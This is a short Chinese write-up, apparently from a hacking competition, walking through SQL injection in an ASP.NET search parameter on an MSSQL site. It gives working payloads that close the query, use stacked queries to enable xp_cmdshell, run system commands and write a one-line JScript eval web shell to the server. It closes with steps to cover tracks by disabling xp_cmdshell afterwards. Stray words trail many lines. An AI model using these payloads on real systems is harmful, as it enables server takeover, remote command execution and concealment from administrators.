昨天就搞下來的,可是是工具搞得,爲了比賽仍是拋棄一陣子的工具吧。內容相對簡單,可掠過。html
報錯獲得sql語句:sql
DataSet ds2 = BusinessLibrary.classHelper.GetList("ID,catID,title as catTitle,'Content2.aspx' as url,createTime,orderID", "cat_article", "((title like '%" + strkeys + "%' or content like '%" + strkeys + "%') and isshow=1)", "ID", "order by orderID desc,createTime desc", pager1.PageSize, pageIndex, 0); |
有點複雜看球不懂。直接挑出有strkeys的變量過來看。shell
like '%" + strkeys + "%') and isshow=1)"
直接採起閉合+註釋的方案。由於是直接拼接的,因此直接%'))就解決了閉合,轉換成url編碼就是%25%27 ps:不轉換也行ssh
即:id=a%25%27))-- -工具
ok。再結合mssql的注入語句。網站
至於猜褲猜表我就不說了。直接開xp_cmdshell組建進行命令執行而後寫shell編碼
http://www.jb51.net/hack/39196.htmlurl
開啓xp_cmdshell組建MSSQL命令:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;spa
寫成payload就是:.net
http://www.baidu.cn/search.aspx?keys=a%25%27));EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--%20-
注意須要結合堆疊注入因此就須要使用到分號先將前面的語句進行結束,而後再開啓一條新的sql語句。
由於前面.net一會兒就能夠爆出網站路徑而後又直接寫shell。
利用:exec master..xp_cmdshell "whoami" 進行寫shell
# 這裏說明一下堆疊注入是不會報錯的。也就是說你執行開啓xp_cmdshell組建的時候頁面應當顯示正常。
http://www.baidu.cn/search.aspx?keys=a%25%27));exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\網站路徑\\shell.aspx' ;----+
而後就getshell了。最後擦屁股,再關掉xp_Cmdshell組建。
將開啓語句的第二個1改爲0再執行,xp_cmdshell就又處於禁用狀態了
OVER